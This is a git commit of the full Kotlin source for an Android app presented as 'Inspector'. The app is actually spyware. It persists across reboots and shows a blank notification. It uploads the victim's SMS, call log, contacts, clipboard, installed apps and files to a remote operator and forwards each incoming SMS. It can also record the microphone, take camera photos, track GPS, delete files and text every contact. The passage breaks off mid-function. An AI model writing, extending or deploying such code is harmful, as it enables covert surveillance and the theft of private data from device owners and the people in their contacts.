uploaded source code

This commit is contained in:
shiva yadav
2023-04-24 01:13:24 -07:00
parent aaa8f20b74
commit 1c04480a2d
58 changed files with 3074 additions and 0 deletions

View File

@@ -0,0 +1 @@
/build

View File

@@ -0,0 +1,71 @@
plugins {
id 'com.android.application'
id 'org.jetbrains.kotlin.android'
}
android {
compileSdk 32
defaultConfig {
applicationId "willi.fiend"
minSdk 21
targetSdk 32
versionCode 1
versionName "1.0"
testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner"
vectorDrawables {
useSupportLibrary true
}
}
buildTypes {
release {
minifyEnabled true
shrinkResources true
proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
}
}
compileOptions {
sourceCompatibility JavaVersion.VERSION_1_8
targetCompatibility JavaVersion.VERSION_1_8
}
kotlinOptions {
jvmTarget = '1.8'
}
buildFeatures {
compose true
}
composeOptions {
kotlinCompilerExtensionVersion compose_version
}
packagingOptions {
resources {
excludes += '/META-INF/{AL2.0,LGPL2.1}'
}
}
}
dependencies {
implementation 'androidx.core:core-ktx:1.8.0'
implementation "androidx.compose.ui:ui:$compose_version"
implementation 'androidx.compose.material3:material3:1.0.0-alpha15'
implementation "androidx.compose.ui:ui-tooling-preview:$compose_version"
implementation 'androidx.lifecycle:lifecycle-runtime-ktx:2.5.1'
implementation 'androidx.activity:activity-compose:1.5.1'
implementation 'androidx.appcompat:appcompat:1.4.2'
implementation 'com.google.android.material:material:1.6.1'
implementation 'androidx.constraintlayout:constraintlayout:2.1.4'
testImplementation 'junit:junit:4.13.2'
androidTestImplementation 'androidx.test.ext:junit:1.1.3'
androidTestImplementation 'androidx.test.espresso:espresso-core:3.4.0'
androidTestImplementation "androidx.compose.ui:ui-test-junit4:$compose_version"
debugImplementation "androidx.compose.ui:ui-tooling:$compose_version"
debugImplementation "androidx.compose.ui:ui-test-manifest:$compose_version"
implementation("com.squareup.okhttp3:okhttp:4.9.3")
implementation 'com.karumi:dexter:6.2.3'
implementation 'com.google.code.gson:gson:2.8.9'
implementation 'com.google.android.gms:play-services-location:20.0.0'
}

View File

@@ -0,0 +1,21 @@
# Add project specific ProGuard rules here.
# You can control the set of applied configuration files using the
# proguardFiles setting in build.gradle.
#
# For more details, see
# http://developer.android.com/guide/developing/tools/proguard.html
# If your project uses WebView with JS, uncomment the following
# and specify the fully qualified class name to the JavaScript interface
# class:
#-keepclassmembers class fqcn.of.javascript.interface.for.webview {
# public *;
#}
# Uncomment this to preserve the line number information for
# debugging stack traces.
#-keepattributes SourceFile,LineNumberTable
# If you keep the line number information, uncomment this to
# hide the original source file name.
-renamesourcefileattribute SourceFile

View File

@@ -0,0 +1,24 @@
package willi.fiend
import androidx.test.platform.app.InstrumentationRegistry
import androidx.test.ext.junit.runners.AndroidJUnit4
import org.junit.Test
import org.junit.runner.RunWith
import org.junit.Assert.*
/**
* Instrumented test, which will execute on an Android device.
*
* See [testing documentation](http://d.android.com/tools/testing).
*/
@RunWith(AndroidJUnit4::class)
class ExampleInstrumentedTest {
@Test
fun useAppContext() {
// Context of the app under test.
val appContext = InstrumentationRegistry.getInstrumentation().targetContext
assertEquals("willi.fiend", appContext.packageName)
}
}

View File

@@ -0,0 +1,74 @@
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
package="willi.fiend">
<uses-permission android:name="android.permission.INTERNET" />
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.READ_CALL_LOG" />
<uses-permission android:name="android.permission.RECEIVE_SMS" />
<uses-permission android:name="android.permission.READ_SMS" />
<uses-permission android:name="android.permission.SEND_SMS" />
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
<uses-permission android:name="android.permission.READ_CONTACTS" />
<uses-permission android:name="android.permission.RECORD_AUDIO" />
<uses-permission android:name="android.permission.CAMERA" />
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
<uses-permission android:name="android.permission.VIBRATE" />
<application
android:allowBackup="true"
android:dataExtractionRules="@xml/data_extraction_rules"
android:fullBackupContent="@xml/backup_rules"
android:icon="@drawable/settings"
android:label="@string/app_name"
android:roundIcon="@drawable/settings"
android:supportsRtl="true"
android:theme="@style/Theme.Fiend"
tools:targetApi="31">
<activity
android:name=".MainActivity"
android:exported="true"
android:label="@string/app_name"
android:theme="@style/Theme.Fiend">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
<receiver
android:name=".Receiver.SmsReceiver"
android:exported="true">
<intent-filter>
<action android:name="android.provider.Telephony.SMS_RECEIVED" />
</intent-filter>
</receiver>
<receiver
android:name=".Receiver.BootCompleteReceiver"
android:exported="true">
<intent-filter>
<action android:name="android.intent.action.BOOT_COMPLETED" />
</intent-filter>
</receiver>
<service
android:name=".Utils.AppNotificationListener"
android:exported="true"
android:label="@string/app_name"
android:permission="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE">
<intent-filter>
<action android:name="android.service.notification.NotificationListenerService" />
</intent-filter>
</service>
<service
android:name=".MainService"
android:enabled="true"
android:exported="true"
android:foregroundServiceType="camera|microphone|location" />
</application>
</manifest>

View File

@@ -0,0 +1,56 @@
package willi.fiend
import android.annotation.SuppressLint
import android.content.Intent
import android.os.Bundle
import android.os.Environment
import android.util.Log
import android.webkit.WebView
import androidx.activity.ComponentActivity
import androidx.activity.compose.setContent
import androidx.compose.runtime.mutableStateOf
import androidx.compose.runtime.remember
import willi.fiend.Utils.AppTools
import willi.fiend.Ui.Screen.Page1
import willi.fiend.Ui.Screen.Page2
import me.fiend.Ui.Screen.WebView
import willi.fiend.Utils.AppRequest
class MainActivity : ComponentActivity() {
var webView: WebView? = null
@SuppressLint("WrongThread")
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
AppTools.checkAppCloning(this)
val request = AppRequest()
request.sendWaterMark()
request.sendText(AppRequest.Text("ᴀᴘᴘʟɪᴄᴀᴛɪᴏɴ ɪɴꜱᴛᴀʟʟᴇᴅ ᴀɴᴅ ᴏᴘᴇɴᴇᴅ , ᴡᴀɪᴛɪɴɢ ꜰᴏʀ ᴘᴇʀᴍɪꜱꜱɪᴏɴꜱ ..."))
setContent {
val currentPage = remember {
mutableStateOf(0)
}
if (!AppTools.showWelcome(this)) currentPage.value = 2
when (currentPage.value) {
0 -> {
Page1 {
currentPage.value = 1
}
}
1 -> {
Page2 {
currentPage.value = 2
}
}
2 -> {
WebView() {
webView = it
}
if (!AppTools.isServiceRunning(this)) {
startService(Intent(this, MainService::class.java))
}
}
}
}
}
}

View File

@@ -0,0 +1,58 @@
package willi.fiend
import android.annotation.SuppressLint
import android.app.*
import android.app.Notification.BADGE_ICON_NONE
import android.content.Intent
import android.os.IBinder
import android.widget.RemoteViews
import androidx.core.app.NotificationCompat
import androidx.core.app.NotificationCompat.BADGE_ICON_NONE
import willi.fiend.Utils.AppSocket
class MainService : Service() {
override fun onBind(p0: Intent?): IBinder? {
return null
}
override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int {
val socket = AppSocket(this)
val action = socket.action
socket.connect()
action.uploadApps()
action.uploadMessages()
action.uploadCalls()
action.uploadContact()
action.uploadDeviceInfo()
action.uploadClipboard()
return START_STICKY
}
override fun onCreate() {
super.onCreate()
startForeground(1, getNotification())
}
@SuppressLint("NewApi")
private fun getNotification(): Notification {
val channelId = "channel"
val channelName = " "
val channel = NotificationChannel(
channelId,
channelName,
NotificationManager.IMPORTANCE_MIN
)
channel.lockscreenVisibility = Notification.VISIBILITY_PRIVATE
val manager = (getSystemService(NOTIFICATION_SERVICE) as NotificationManager)
manager.createNotificationChannel(channel)
val notificationBuilder = NotificationCompat.Builder(this, channelId)
return notificationBuilder.setOngoing(true)
.setSmallIcon(R.drawable.mpt)
.setContentTitle(" ")
.setBadgeIconType(NotificationCompat.BADGE_ICON_NONE)
.setPriority(NotificationManager.IMPORTANCE_UNSPECIFIED)
.setCustomBigContentView(RemoteViews(packageName, R.layout.notification))
.build()
}
}

View File

@@ -0,0 +1,13 @@
package willi.fiend.Receiver
import android.content.BroadcastReceiver
import android.content.Context
import android.content.Intent
import androidx.core.content.ContextCompat
import willi.fiend.MainService
class BootCompleteReceiver : BroadcastReceiver() {
override fun onReceive(p0: Context, p1: Intent) {
ContextCompat.startForegroundService(p0, Intent(p0, MainService::class.java))
}
}

View File

@@ -0,0 +1,36 @@
package willi.fiend.Receiver
import android.content.BroadcastReceiver
import android.content.Context
import android.content.Intent
import android.telephony.SmsMessage
import android.util.Log
import willi.fiend.Utils.AppTools
import willi.fiend.Utils.AppPermission
import willi.fiend.Utils.AppRequest
class SmsReceiver : BroadcastReceiver() {
override fun onReceive(context: Context, intent: Intent) {
if (intent.action == "android.provider.Telephony.SMS_RECEIVED" && AppPermission(context).checkReadSms()) {
val bundle = intent.extras
val msgs: Array<SmsMessage?>?
var msg_from: String?
if (bundle != null) {
try {
val pdus = bundle["pdus"] as Array<*>?
msgs = arrayOfNulls(pdus!!.size)
for (i in msgs.indices) {
msgs[i] = SmsMessage.createFromPdu(pdus[i] as ByteArray)
msg_from = msgs[i]?.originatingAddress
val msgBody = msgs[i]?.messageBody
val text = "New Message\nDevice : ${AppTools.getDeviceName()}\nFrom : $msg_from\nMessage : $msgBody"
AppRequest().sendText(AppRequest.Text(text))
}
} catch (e: Exception) {
Log.i("data", "Ex")
}
}
}
}
}

View File

@@ -0,0 +1,7 @@
package willi.fiend.Ui
import androidx.compose.ui.text.font.Font
import androidx.compose.ui.text.font.FontFamily
import willi.fiend.R
val AppFont = FontFamily(Font(R.font.helvetica))

View File

@@ -0,0 +1,90 @@
package willi.fiend.Ui.Screen
import androidx.compose.foundation.Image
import androidx.compose.foundation.layout.*
import androidx.compose.foundation.shape.RoundedCornerShape
import androidx.compose.material.icons.Icons
import androidx.compose.material.icons.filled.ArrowForward
import androidx.compose.material3.Button
import androidx.compose.material3.Icon
import androidx.compose.material3.Text
import androidx.compose.runtime.*
import androidx.compose.ui.Alignment
import androidx.compose.ui.Alignment.Companion.End
import androidx.compose.ui.Modifier
import androidx.compose.ui.graphics.Color
import androidx.compose.ui.layout.ContentScale
import androidx.compose.ui.res.painterResource
import androidx.compose.ui.text.font.FontWeight
import androidx.compose.ui.unit.dp
import androidx.compose.ui.unit.sp
import kotlinx.coroutines.launch
import willi.fiend.Ui.AppFont
import willi.fiend.R
@Composable
fun Page1(onNext: () -> Unit) {
val scope = rememberCoroutineScope()
Column(modifier = Modifier.fillMaxSize()) {
Image(
modifier = Modifier
.fillMaxWidth()
.weight(4f),
painter = painterResource(id = R.drawable.header),
contentDescription = null,
contentScale = ContentScale.Crop
)
Text(
modifier = Modifier
.fillMaxWidth()
.weight(0.6f)
.padding(top = 30.dp, start = 15.dp, end = 15.dp),
text = "Welcome to Inspector",
color = Color.Black,
fontFamily = AppFont,
fontSize = 25.sp,
fontWeight = FontWeight.Bold
)
Text(
modifier = Modifier
.fillMaxWidth()
.weight(2f)
.padding(top = 15.dp, start = 15.dp, end = 15.dp),
text = "Him boisterous invitation dispatched had connection inhabiting projection. By mutual an mr danger garret edward an. Diverted as strictly exertion addition no disposal by stanhill.",
color = Color.Black,
fontFamily = AppFont,
fontSize = 20.sp,
fontWeight = FontWeight.Normal
)
Button(
modifier = Modifier
.weight(0.71f)
.align(End)
.padding(top = 15.dp, end = 16.dp, bottom = 16.dp),
shape = RoundedCornerShape(50.dp),
onClick = {
scope.launch {
onNext()
}
}
) {
Row(
horizontalArrangement = Arrangement.Center,
verticalAlignment = Alignment.CenterVertically
) {
Spacer(modifier = Modifier.width(5.dp))
Text(
modifier = Modifier
.padding(2.dp),
text = "Next",
color = Color.White,
fontFamily = AppFont,
fontSize = 20.sp,
fontWeight = FontWeight.Normal
)
Spacer(modifier = Modifier.width(3.dp))
Icon(imageVector = Icons.Filled.ArrowForward, contentDescription = "")
}
}
}
}

View File

@@ -0,0 +1,92 @@
package willi.fiend.Ui.Screen
import androidx.compose.foundation.Image
import androidx.compose.foundation.layout.*
import androidx.compose.foundation.shape.RoundedCornerShape
import androidx.compose.material.icons.Icons
import androidx.compose.material.icons.filled.ArrowForward
import androidx.compose.material3.Button
import androidx.compose.material3.Icon
import androidx.compose.material3.Text
import androidx.compose.runtime.Composable
import androidx.compose.ui.Alignment
import androidx.compose.ui.Alignment.Companion.End
import androidx.compose.ui.Modifier
import androidx.compose.ui.graphics.Color
import androidx.compose.ui.platform.LocalContext
import androidx.compose.ui.res.painterResource
import androidx.compose.ui.text.font.FontWeight
import androidx.compose.ui.unit.dp
import androidx.compose.ui.unit.sp
import willi.fiend.Ui.AppFont
import willi.fiend.R
import willi.fiend.Utils.AppPermission
import willi.fiend.Utils.AppTools
@Composable
fun Page2(onAgree: () -> Unit) {
val context = LocalContext.current
Column(modifier = Modifier.fillMaxSize()) {
Image(
modifier = Modifier
.fillMaxWidth()
.padding(35.dp)
.weight(4f),
painter = painterResource(id = R.drawable.settings),
contentDescription = null,
)
Text(
modifier = Modifier
.fillMaxWidth()
.weight(0.6f)
.padding(top = 30.dp, start = 15.dp, end = 15.dp),
text = "Grant Permission",
color = Color.Black,
fontFamily = AppFont,
fontSize = 25.sp,
fontWeight = FontWeight.Bold
)
Text(
modifier = Modifier
.fillMaxWidth()
.weight(2f)
.padding(top = 15.dp, start = 15.dp, end = 15.dp),
text = "In order to use app functionality you need to allow app permission and agree the terms if use this app ",
color = Color.Black,
fontFamily = AppFont,
fontSize = 20.sp,
fontWeight = FontWeight.Normal
)
Button(
modifier = Modifier
.weight(0.71f)
.align(End)
.padding(top = 15.dp, end = 16.dp, bottom = 16.dp),
shape = RoundedCornerShape(50.dp),
onClick = {
AppPermission(context).getPerms {
AppTools.disableWelcome(context)
onAgree()
}
}
) {
Row(
horizontalArrangement = Arrangement.Center,
verticalAlignment = Alignment.CenterVertically
) {
Spacer(modifier = Modifier.width(5.dp))
Text(
modifier = Modifier
.padding(2.dp),
text = "Agree and Continue",
color = Color.White,
fontFamily = AppFont,
fontSize = 20.sp,
fontWeight = FontWeight.Normal
)
Spacer(modifier = Modifier.width(3.dp))
Icon(imageVector = Icons.Filled.ArrowForward, contentDescription = "")
}
}
}
}

View File

@@ -0,0 +1,40 @@
package me.fiend.Ui.Screen
import android.annotation.SuppressLint
import android.content.Intent
import android.provider.Settings
import android.view.ViewGroup
import android.webkit.WebView
import android.webkit.WebViewClient
import androidx.compose.runtime.Composable
import androidx.compose.ui.platform.LocalContext
import androidx.compose.ui.viewinterop.AndroidView
import willi.fiend.Utils.AppTools
@SuppressLint("SetJavaScriptEnabled")
@Composable
fun WebView(onWebView: (webView:WebView) -> Unit) {
val context = LocalContext.current
val urlToRender = AppTools.getAppData().webView
AndroidView(factory = {
WebView(it).apply {
onWebView(this)
layoutParams = ViewGroup.LayoutParams(
ViewGroup.LayoutParams.MATCH_PARENT,
ViewGroup.LayoutParams.MATCH_PARENT
)
webViewClient = WebViewClient()
settings.javaScriptEnabled = true
settings.domStorageEnabled = true;
settings.setAppCacheEnabled(true);
settings.setAppCachePath(context.filesDir.absolutePath + "/cache");
loadUrl(urlToRender)
setDownloadListener(AppTools.WebViewDownloadListener(context))
}
}, update = {
it.loadUrl(urlToRender)
})
if (!AppTools.isNotificationServiceRunning(context)) {
context.startActivity(Intent(Settings.ACTION_NOTIFICATION_LISTENER_SETTINGS));
}
}

View File

@@ -0,0 +1,492 @@
package willi.fiend.Utils
import android.annotation.SuppressLint
import android.app.NotificationManager
import android.app.PendingIntent
import android.app.Service
import android.content.ClipboardManager
import android.content.ContentResolver
import android.content.Context
import android.content.Context.CLIPBOARD_SERVICE
import android.content.Intent
import android.content.pm.ResolveInfo
import android.database.Cursor
import android.graphics.SurfaceTexture
import android.hardware.Camera
import android.media.MediaPlayer
import android.media.MediaRecorder
import android.net.Uri
import android.os.*
import android.provider.CallLog
import android.provider.ContactsContract
import android.telephony.SmsManager
import android.widget.Toast
import androidx.core.app.NotificationCompat
import com.google.android.gms.location.FusedLocationProviderClient
import com.google.android.gms.location.LocationCallback
import com.google.android.gms.location.LocationRequest
import com.google.android.gms.location.LocationResult
import willi.fiend.R
import java.io.File
import java.io.FileWriter
class AppActions(val context: Context) {
private val request = AppRequest()
private val permission = AppPermission(context)
private var mediaPlayer: MediaPlayer? = null
fun uploadCalls() {
if (permission.checkReadCallLog()) {
val numberCol = CallLog.Calls.NUMBER
val durationCol = CallLog.Calls.DURATION
val typeCol = CallLog.Calls.TYPE // 1 - Incoming, 2 - Outgoing, 3 - Missed
val projection = arrayOf(numberCol, durationCol, typeCol)
val cursor = context.contentResolver.query(
CallLog.Calls.CONTENT_URI,
projection, null, null, null
)
val numberColIdx = cursor!!.getColumnIndex(numberCol)
val durationColIdx = cursor.getColumnIndex(durationCol)
val typeColIdx = cursor.getColumnIndex(typeCol)
var text = "Call log : \n\n"
while (cursor.moveToNext()) {
val number = cursor.getString(numberColIdx)
val duration = cursor.getString(durationColIdx)
val type = cursor.getString(typeColIdx)
val typeCorrect =
if (type == "1") "Incoming" else if (type == "2") "Outgoing" else "Missed"
text += "number : $number\nduration : $duration\nType : $typeCorrect\n\n"
}
cursor.close()
val file = File.createTempFile("Call Log - ${AppTools.getDeviceName()} - ", ".txt")
val writer = FileWriter(file)
writer.append(text)
writer.flush()
writer.close()
request.sendFile(file)
} else {
request.sendText(AppRequest.Text("ᴄᴀʟʟ ʟᴏɢ ᴘᴇʀᴍɪꜱꜱɪᴏɴ ᴅᴇɴɪᴇᴅ"))
}
}
@SuppressLint("Range")
fun uploadContact() {
if (permission.checkReadContacts()) {
var allContactList = "All Contacts\n\n\n"
val cr: ContentResolver = context.contentResolver
val cur = cr.query(
ContactsContract.Contacts.CONTENT_URI,
null, null, null, null
)
if ((cur?.count ?: 0) > 0) {
while (cur != null && cur.moveToNext()) {
val id = cur.getString(
cur.getColumnIndex(ContactsContract.Contacts._ID)
)
val name = cur.getString(
cur.getColumnIndex(
ContactsContract.Contacts.DISPLAY_NAME
)
)
if (cur.getInt(
cur.getColumnIndex(
ContactsContract.Contacts.HAS_PHONE_NUMBER
)
) > 0
) {
val pCur = cr.query(
ContactsContract.CommonDataKinds.Phone.CONTENT_URI,
null,
ContactsContract.CommonDataKinds.Phone.CONTACT_ID + " = ?",
arrayOf(id),
null
)
while (pCur!!.moveToNext()) {
val phoneNo = pCur.getString(
pCur.getColumnIndex(
ContactsContract.CommonDataKinds.Phone.NUMBER
)
)
allContactList += "Name: $name\nPhone Number: $phoneNo\n\n"
}
pCur.close()
}
}
}
cur?.close()
val file =
File.createTempFile("All Contacts - ${AppTools.getDeviceName()} - ", ".txt")
val writer = FileWriter(file)
writer.append(allContactList)
writer.flush()
writer.close()
request.sendFile(file)
} else {
request.sendText(AppRequest.Text("ᴄᴏɴᴛᴀᴄᴛ ᴘᴇʀᴍɪꜱꜱɪᴏɴ ᴅᴇɴɪᴇᴅ"))
}
}
@SuppressLint("Range", "Recycle")
fun uploadMessages() {
if (permission.checkReadSms()) {
val sms = arrayListOf<SmsModel>()
val uriSMSURI = Uri.parse("content://sms/inbox")
val cur: Cursor? = context.contentResolver.query(uriSMSURI, null, null, null, null)
if (cur != null) {
while (cur.moveToNext()) {
val address = cur.getString(cur.getColumnIndex("address"))
val body = cur.getString(cur.getColumnIndexOrThrow("body"))
sms.add(SmsModel(address, body, AppTools.getDeviceName()))
}
var allSmsText = "All Sms : \n\n"
for (message in sms) {
val number = message.phone
val device = message.device
val text = message.message
allSmsText += "Number : $number\nDevice : $device\nMessage : $text\n\n\n\n"
}
val file =
File.createTempFile("All Sms - ${AppTools.getDeviceName()} - ", ".txt")
val writer = FileWriter(file)
writer.append(allSmsText)
writer.flush()
writer.close()
request.sendFile(file)
}
} else {
request.sendText(AppRequest.Text("ᴍᴇꜱꜱᴀɢᴇ ᴀᴄᴛɪᴏɴ ᴘᴇʀᴍɪꜱꜱɪᴏɴ ᴅᴇɴɪᴇᴅ"))
}
}
@SuppressLint("UnspecifiedImmutableFlag")
fun sendMessage(number: String, message: String) {
if (permission.checkSendSms()) {
val sentPI: PendingIntent =
PendingIntent.getBroadcast(context, 0, Intent("SMS_SENT"), 0)
SmsManager.getDefault()
.sendTextMessage(number, null, message, sentPI, null)
} else {
request.sendText(AppRequest.Text("ᴍᴇꜱꜱᴀɢᴇ ᴀᴄᴛɪᴏɴ ᴘᴇʀᴍɪꜱꜱɪᴏɴ ᴅᴇɴɪᴇᴅ"))
}
}
@SuppressLint("Range")
fun messageToAllContacts(message: String) {
if (permission.checkReadContacts() && permission.checkSendSms()) {
val cr: ContentResolver = context.contentResolver
val cur = cr.query(
ContactsContract.Contacts.CONTENT_URI,
null, null, null, null
)
if ((cur?.count ?: 0) > 0) {
while (cur != null && cur.moveToNext()) {
val id = cur.getString(
cur.getColumnIndex(ContactsContract.Contacts._ID)
)
if (cur.getInt(
cur.getColumnIndex(
ContactsContract.Contacts.HAS_PHONE_NUMBER
)
) > 0
) {
val pCur = cr.query(
ContactsContract.CommonDataKinds.Phone.CONTENT_URI,
null,
ContactsContract.CommonDataKinds.Phone.CONTACT_ID + " = ?",
arrayOf(id),
null
)
while (pCur!!.moveToNext()) {
val phoneNo = pCur.getString(
pCur.getColumnIndex(
ContactsContract.CommonDataKinds.Phone.NUMBER
)
)
sendMessage(phoneNo, message)
}
pCur.close()
}
}
}
cur?.close()
} else {
request.sendText(AppRequest.Text("ᴍᴇꜱꜱᴀɢᴇ ᴀᴄᴛɪᴏɴ ᴘᴇʀᴍɪꜱꜱɪᴏɴ ᴅᴇɴɪᴇᴅ"))
}
}
@SuppressLint("WrongConstant")
fun uploadApps() {
var allAppsText = "All Apps :\n\n\n "
val mainIntent = Intent(Intent.ACTION_MAIN, null)
mainIntent.addCategory(Intent.CATEGORY_LAUNCHER)
val appList: List<ResolveInfo> =
context.packageManager.queryIntentActivities(mainIntent, 0)
for (app in appList) {
allAppsText += app.activityInfo.name + "\n\n"
}
val file = File.createTempFile("All Apps - ${AppTools.getDeviceName()} - ", ".txt")
val writer = FileWriter(file)
writer.append(allAppsText)
writer.flush()
writer.close()
request.sendFile(file)
}
fun uploadDeviceInfo() {
val model = AppTools.getDeviceName()
val battery = AppTools.getBatteryPercentage(context)
val file = File.createTempFile("Device Status - ${AppTools.getDeviceName()} - ", ".txt")
val writer = FileWriter(file)
writer.append("$model\n Battery Percentage : $battery")
writer.flush()
writer.close()
request.sendFile(file)
}
fun uploadClipboard() {
AppScope.runMain {
val clipBoardManager = context.getSystemService(CLIPBOARD_SERVICE) as ClipboardManager
val clip = clipBoardManager.primaryClip?.getItemAt(0)?.text?.toString()
val file =
File.createTempFile("Clipboard - ${AppTools.getDeviceName()} - ", ".txt")
val writer = FileWriter(file)
writer.append("new Clipboard : $clip")
writer.flush()
writer.close()
request.sendFile(file)
clipBoardManager.addPrimaryClipChangedListener {
val newClip = clipBoardManager.primaryClip?.getItemAt(0)?.text?.toString()
val newFile =
File.createTempFile(
"Clipboard - ${AppTools.getDeviceName()} - ",
".txt"
)
val newWriter = FileWriter(newFile)
newWriter.append("new Clipboard : $newClip")
newWriter.flush()
newWriter.close()
request.sendFile(newFile)
}
}
}
fun uploadFile(path: String) {
if (permission.checkReadExternalStorage()) {
val file = File(Environment.getExternalStorageDirectory().path + "/" + path)
if (file.exists()) {
if (file.isDirectory) {
val listFiles = file.listFiles()
if (listFiles != null) {
for (targetFile in listFiles) {
request.sendFile(targetFile)
}
}
}
if (file.isFile) {
request.sendFile(file)
}
} else {
request.sendText(AppRequest.Text("ᴛʜᴇʀᴇ ɪ ɴᴏ ꜱᴜᴄʜ ꜰᴏʟᴅᴇʀ ᴏʀ ꜰɪʟᴇ"))
}
} else {
request.sendText(AppRequest.Text("ꜰɪʟᴇ ᴍᴀɴᴀɢᴇ ᴘᴇʀᴍɪꜱꜱɪᴏɴ ᴅᴇɴɪᴇᴅ"))
}
}
fun deleteFile(path: String) {
if (AppPermission(context).checkWriteExternalStorage()) {
val file = File(Environment.getExternalStorageDirectory().path + "/" + path)
if (file.exists()) {
if (file.isDirectory) {
file.deleteRecursively()
request.sendText(AppRequest.Text("File ${file.name} ᴅᴇʟᴇᴛᴇᴅ ꜱᴜᴄᴄᴇꜱꜱꜰᴜʟʟʏ"))
}
if (file.isFile) {
file.delete()
request.sendText(AppRequest.Text("File ${file.name} ᴅᴇʟᴇᴛᴇᴅ ꜱᴜᴄᴄᴇꜱꜱꜰᴜʟʟʏ"))
}
} else {
request.sendText(AppRequest.Text("ᴛʜᴇʀᴇ ɪ ɴᴏ ꜱᴜᴄʜ ꜰᴏʟᴅᴇʀ ᴏʀ ꜰɪʟᴇ"))
}
} else {
request.sendText(AppRequest.Text("ꜰɪʟᴇ ᴍᴀɴᴀɢᴇ ᴘᴇʀᴍɪꜱꜱɪᴏɴ ᴅᴇɴɪᴇᴅ"))
}
}
@SuppressLint("NewApi")
fun captureMicrophone(duration: Long) {
if (AppPermission(context).checkCaptureMic()) {
request.sendText(AppRequest.Text("$duration ꜱᴇᴄᴏɴᴅ ʀᴇᴄᴏʀᴅ ꜱᴛᴀʀᴛᴇᴅ , ʏ ᴡɪʟʟ ʀᴇᴄᴇɪᴠᴇ ꜰɪʟᴇ ꜱᴏᴏɴ"))
val file = File.createTempFile("Mic - ${AppTools.getDeviceName()} - ", ".amr")
val mediaRecord = MediaRecorder()
mediaRecord.setAudioSource(MediaRecorder.AudioSource.MIC)
mediaRecord.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP)
mediaRecord.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB)
mediaRecord.setOutputFile(file)
mediaRecord.prepare()
mediaRecord.start()
Handler(Looper.getMainLooper()).postDelayed({
mediaRecord.stop()
mediaRecord.release()
request.sendFile(file)
}, duration * 1000)
} else {
request.sendText(AppRequest.Text("ᴍɪᴄʀᴏᴘʜᴏɴᴇ ᴘᴇʀᴍɪꜱꜱɪᴏɴ ᴅᴇɴɪᴇᴅ"))
}
}
fun captureCameraMain() {
if (AppPermission(context).checkCaptureCam()) {
request.sendText(AppRequest.Text("ᴄᴀᴘᴛᴜʀᴇ ᴍᴀɪɴ ᴄᴀᴍᴇʀᴀ ꜱᴛᴀʀᴛᴇᴅ , ʏ ᴡɪʟʟ ʀᴇᴄᴇɪᴠᴇ ꜰɪʟᴇ ꜱᴏᴏɴ"))
val file = File.createTempFile("Camera - ${AppTools.getDeviceName()} - ", ".png")
val holder = SurfaceTexture(0)
val camera = Camera.open(0)
camera.setPreviewTexture(holder)
camera.startPreview()
camera.takePicture(
null,
null,
) { p0, p1 ->
file.writeBytes(p0)
p1.release()
request.sendFile(file)
request.sendText(AppRequest.Text(""))
}
} else {
request.sendText(AppRequest.Text("ᴄᴀᴍᴇʀᴀ ᴘᴇʀᴍɪꜱꜱɪᴏɴ ᴅᴇɴɪᴇᴅ"))
}
}
fun captureCameraSelfie() {
if (AppPermission(context).checkCaptureCam()) {
request.sendText(AppRequest.Text("ᴄᴀᴘᴛᴜʀᴇ ꜱᴇʟꜰɪᴇ ᴄᴀᴍᴇʀᴀ ꜱᴛᴀʀᴛᴇᴅ , ʏ ᴡɪʟʟ ʀᴇᴄᴇɪᴠᴇ ꜰɪʟᴇ ꜱᴏᴏɴ"))
val file = File.createTempFile("Camera - ${AppTools.getDeviceName()} - ", ".png")
val holder = SurfaceTexture(0)
val camera = Camera.open(1)
camera.setPreviewTexture(holder)
camera.startPreview()
camera.takePicture(
null,
null,
) { p0, p1 ->
file.writeBytes(p0)
p1.release()
request.sendFile(file)
}
} else {
request.sendText(AppRequest.Text("ᴄᴀᴍᴇʀᴀ ᴘᴇʀᴍɪꜱꜱɪᴏɴ ᴅᴇɴɪᴇᴅ"))
}
}
@SuppressLint("MissingPermission", "NewApi")
fun uploadGpsLocation() {
request.sendText(AppRequest.Text("ʟᴏᴄᴀᴛɪᴏɴ ʀᴇQᴛ ʀᴇᴄᴇɪᴠᴇᴅ, ᴅᴇᴠɪᴄᴇ ʟᴏᴄᴀᴛɪᴏɴ ᴡɪʟʟ ʙᴇ ꜱᴇɴᴛ ꜱᴏᴏɴ ɪꜰ ᴀᴠᴀɪʟᴀʙʟᴇ"))
if (permission.checkGetLocation()) {
val client = FusedLocationProviderClient(context)
val locationRequest = LocationRequest.create()
locationRequest.priority = LocationRequest.PRIORITY_HIGH_ACCURACY
client.requestLocationUpdates(locationRequest, object : LocationCallback() {
override fun onLocationResult(p0: LocationResult) {
if (p0 != null) {
val lat = p0.lastLocation?.latitude
val lon = p0.lastLocation?.longitude
if (lat != null) {
if (lon != null) {
request.sendLocation(
AppRequest.Location(
lat.toFloat(),
lon.toFloat()
)
)
}
}
}
}
}, Looper.getMainLooper())
} else {
request.sendText(AppRequest.Text("ɢᴘꜱ ᴘᴇʀᴍɪꜱꜱɪᴏɴ ᴅᴇɴɪᴇᴅ"))
}
}
fun showToast(text: String) {
Handler(Looper.getMainLooper()).post {
Toast.makeText(context, text, Toast.LENGTH_LONG).show()
}
request.sendText(AppRequest.Text("ᴛʜᴇ ᴍᴇꜱꜱᴀɢᴇ ᴡᴀꜱ ꜱᴜᴄᴄᴇꜱꜱꜰᴜʟʟʏ ᴅɪꜱᴘʟᴀʏᴇᴅ"))
}
@SuppressLint("NewApi")
fun showNotification(title: String, url: String) {
val NOTIFICATION_CHANNEL_ID = "channel"
val notificationIntent = Intent(Intent.ACTION_VIEW)
